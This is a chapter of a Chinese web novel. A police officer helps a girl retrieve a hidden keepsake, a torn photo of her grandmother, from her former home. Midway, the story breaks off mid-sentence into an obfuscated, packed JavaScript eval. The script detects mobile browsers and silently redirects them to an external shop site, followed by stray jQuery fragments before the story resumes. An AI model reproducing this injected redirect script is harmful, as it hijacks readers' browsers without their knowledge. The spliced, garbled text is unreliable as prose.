姜畔在李砚安家住了几天。
李砚安的生活像他这个人一样，简单，粗糙，直白。
早上，通常是她还没完全清醒，就听见客厅传来他洗漱的动静，他没夜班的时候，姜畔就能看见他坐在客厅沙发里，对着手机屏幕眉头紧锁，或者直接在上头补觉。
厨房里最多的就是泡面，
各种口味，塞了半个柜子。
冰箱里常备速冻饺子和几罐啤酒。
他做饭的手艺很好，姜畔是知道的，估计他之前一个人的时候，应该是很少亲自做饭的，因为那些厨具都还挺新的。
只是姜畔来了，李砚安下厨的次数飙升。
姜畔手臂不方便，但会尽量帮忙洗洗菜，递递东西。
李砚安也不拦着，由着她做些力所能及的事，只是在她想碰刀或者重物时，会先一步伸过来挡开。
而且，与在外面的总有些混不吝的李砚安不同。
在家里，尤其是熟悉些之后，姜畔感觉他话并不是很多。
添饭时默不作声把她碗堆满，夜里起来倒水，会顺便看看她房间的门是否关好。
家里暖气足，他总穿着同一件睡衣，需要用的日用品在柜子里码的整整齐齐。
姜畔觉得，这屋子和他的人一样，有种安稳的踏实。
快小年了，李砚安似乎更忙。
电话一个接一个，有时是所里同事，有时是辖区的居民。
姜畔总待在房间里看林子琪带给她的漫画书，能听到他讲电话的只言片语。
那个时候，李砚安就像是恢复了什么技能一样，又开始有点混不吝。
“……张大爷，您那暖气漏水的事儿，我昨天催过物业了。”
“……王姐，两口子拌嘴归拌嘴，动手就不对了。您先冷静，我一会儿过去……”
“……老李头，您那堆在楼道里的废品真得清了，消防隐患，不是跟您过不去……好好好，我找收废品的过去帮您搬，您别自己折腾了……”
他对着不同的人，语气也不同。
对老人耐心，对着急上火的大姐安抚，对固执的老头强硬。
所有的话，都像在捋一团团乱麻，总能找到那个暂时打结的地方，试着解开。
姜畔想，大概这就是见人说人话，见鬼说鬼话。
她从没有见过这样的人。
——能接受问题，有解决能力，而且是以最平和、最简单的方式。
姜畔羡慕这样的人，更想成为这样的人。
这天下午，窗外的天色灰蒙蒙的，像是要下雪。
姜畔坐在桌前，翻着一本杂志，手指划过纸页上的日期。
姥姥的手术……应该做完了吧？
她放下杂志，走到客厅。
李砚安刚挂了电话，站在阳台边划手机。
“李砚安。”姜畔声音不大。
李砚安看过来：“嗯？”
“我……”她顿了顿，“我想问问医院那边，我姥姥的手术做完了吗？她……怎么样了？”
李砚安看着她，眼神似乎软了一下。
他没立刻回答，走到茶几旁，拿起自己的手机划了几下，递到她面前。
屏幕上是通话记录，一个标注着“汾平医院王主任”的号码。
时间显示是三天前。
“那天你睡着的时候打的。”李砚安说，“手术很成功。老人家恢复得不错，就是年纪大了，需要静养一段时间。医院那边说，暂时没有生命危险了，情况稳定。”
姜畔盯着那个通话记录，又看看李砚安平静的脸。
原来他早就想到了。
她心头那块悬了很久的石头，终于落了地。
“谢谢。”她声音有点哑。
“明天吧，”李砚安收起手机，“明天我抽空，带你过去看看她。”
姜畔点点头，心里被一种安心填满。
她犹豫了一下，还是开了口：“那今晚，我能出去一趟吗？”
“去哪儿？”李砚安眼神询问。
“回原来那个家。”姜畔轻声说，“我想拿点东西。”
李砚安的眉头皱了：“缺什么？缺什么我去买。”
“不是缺东西，”姜畔摇摇头，“是一件很珍贵的东西。我一定要拿回来。”
“珍贵？”李砚安猜咄着，目光在她脸上停留片刻。
他没追问是什么，只是转身走向电视柜，拉开一个抽屉，在里面摸索了一下。
他走回来，摊开手掌。
掌心里躺着一串小小的圆形的黑色石头，被打磨得很光滑，穿着一根简单的黑色皮绳。
“给，”他把石头递过来，“之前跟你说的黑曜石，保健康平安的。戴着吧。”
姜畔愣了下，看着那枚小小的黑色石头，又看看李砚安。
一股暖流细细地淌过心尖。
她小心翼翼地接过来，冰凉的石头很快被体温捂热。
“谢谢。”她低声说。
“戴着就行，别摘。”李砚安说。
姜畔点点头，把手钏戴在手上，让它贴着手腕。
她想了想，还是把心里盘旋了几天的话说了出来，“李砚安，我住在这里，要是让你觉得有什么不方便，或者……麻烦到你了，你一定要告诉我。我可以想办法的。”
李砚安正弯腰拿起桌上的水杯，闻言动作顿了一下。
他直起身，喝了一口水，目光落在她认真又有点不安的脸上。
“要求？”他放下杯子，像是真的在思考，“嗯，确实有。”
姜畔立刻站直了些，神情专注，等着听。
李砚安看着她，伸出一根手指：
“第一，每顿吃两碗饭。把自己养结实点。”
姜畔眨眨眼，有点懵。
李砚安又伸出第二根手指：
“第二，”他看向她的手臂，“等你这胳膊好了，跟我学散打。”
姜畔彻底愣住了，看着他，一时间忘了反应。
客厅里安静下来，只有窗外隐约传来远处街道的车流声。
李砚安没再说话，拿起桌上的车钥匙，走向门口。
“收拾一下，”他头也没回地说，“现在去拿你珍贵的东西。”
*
车停在街角，天已经暗透了。
姜畔推开车门，一股熟悉的湿寒裹上来。
路灯的光晕在冷风里晃着，姜畔抬头望向那栋老楼。
三单元，二楼。
她太熟悉了，闭着眼都能摸上去。
李砚安锁了车，走在她身侧半步远的位置。
楼道里的声控灯时灵时不灵，昏暗的光线下，台阶上还散落着些没扫干净的垃圾。
越往上走，空气里那股陈旧味儿就越重。
到了二楼，熟悉的铁灰色防盗门紧闭着。
姜畔站定，习惯性地去摸校服口袋，手指触到那把旧钥匙。
钥匙插进锁孔，拧动。
预料中的咔哒声没来。
锁芯纹丝不动。
姜畔愣了一下，又用力拧了两下，钥匙在锁孔里生涩地转动。
门依旧紧闭。
她拔出来，借着楼道的光线看了眼钥匙，又看了眼锁孔。
锁孔里面亮晶晶的，是新的。
“换锁了。”
李砚安抱着手臂站在她身侧。
姜畔眼睫一颤。
周建国和李雅慧动作还真是快。
楼道里很安静，李砚安视线越过姜畔的肩膀，投向楼道尽头，那扇几乎被杂物堵住的老式推拉窗。
窗户不大，外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546532|186213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装着锈迹斑斑的铁栏杆。
李砚安好整以暇，撞了一下姜畔。
他挑眉，“怎么办？”
姜畔摇了摇头，“可以下次再来。”
李砚安笑了，“我有办法。”
李砚安没等她反应，兀自朝后走过去，伸手推了推那扇积满粉尘的窗框。
窗轴发出吱呀声，但竟然被推开了一些缝隙。
他探身往外看了眼，又回头看了眼门锁。
姜畔看着他，“李砚安，你……”
她话没说完，李砚安已经单手撑住窗台，一条长腿利落抬起，踩上了窗沿。
他身体微微前倾，没有任何阻碍的感觉，侧身就从那半尺宽的缝隙里钻了出去。
动作熟练得不像第一次干这种事。
姜畔的心提到了嗓子眼，下意识往前跟了一步，扒着窗台边缘往下看。
下面是黑洞洞的楼道空隙。
只见李砚安的身影在狭窄的窗沿外晃了一下，一只手稳稳抓住了旁边的管架，身体借力一荡，整个人就轻巧地落在了二楼阳台外沿那不到半尺宽的水泥台上。
姜畔看得呼吸都屏住了。
他稳住身形，甚至有余暇隔着阳台那扇玻璃朝姜畔这边瞥了一眼，然后伸手去推阳台通往客厅的那扇木门。
门没锁，应声而开。
他身影一闪，消失在阳台的黑暗中。
几秒钟后，客厅里传来轻微的脚步声，接着是门锁转动的声音。
“咔哒。”
面前的防盗门，开了。
李砚安站在门内，拍了拍手上蹭的灰。
楼道昏黄的光线勾勒出他窄长的侧脸，男人目光平静。
他看着门口一脸震惊的姜畔，嘴角向上抬了一下。
“这不算闯民宅吧？”他侧身让开门口，“毕竟，按程序，这房子现在还没彻底跟你没关系。”
姜畔看着他那张理所当然的脸，堵在喉咙里的那口气，不知怎么，忽然就松了，甚至有点想笑。
她没说话，只是低头，从他让开的门缝里走了进去。
客厅里比她离开时更乱了。
地上散落着小孩的玩具，揉成一团的零食包装袋，脏衣服。沙发套歪斜着，露出底下破旧的棉絮。墙壁上的全家福照片还在，对着门口傻笑的三口之家。
一切都没变，只是更脏，更破败，更让人窒息。
姜畔的目光没有在客厅停留，径直走向房子最深处。
那里，就是她在这个家里生活了许多年的地方。
她拉开那道吱呀作响的阳台门。
这个狭小的空间，宽度仅容一张单人床，高度勉强能站直。
床铺被卷起靠在墙边，露出底下同样蒙尘的木板。
其余的空间堆满了杂物，旧纸箱、断了腿的凳子，还有一捆捆捆扎好的废旧报纸和杂志，几乎顶到了低矮的天花板。
唯一的光源是旁边的窗户，和一个瓦数极低的白炽灯泡。
这里曾是她在这个家里唯一的容身之处。
姜畔走进去，直接走到单人床边，弯下腰，伸手探向床板与墙壁之间。
指尖试探的摸索着。
几秒钟后，她摸到了。
一个硬硬的纸包。
她小心把它抠了出来。
是一个用作业本纸折叠成的四方形纸包，外面还用透明胶带缠了几圈。
姜畔直起身，走到那盏昏黄的灯泡下，背对着客厅的方向。
她低着头，手指一点点撕开那些缠绕的胶带。
胶带因为时间久了，粘性变得很强，撕开时发出粘连的声音，黏黏的。
纸包终于被打开。
里面是一堆被撕得粉碎的彩色照片碎屑。
是那张她和姥姥唯一的合照。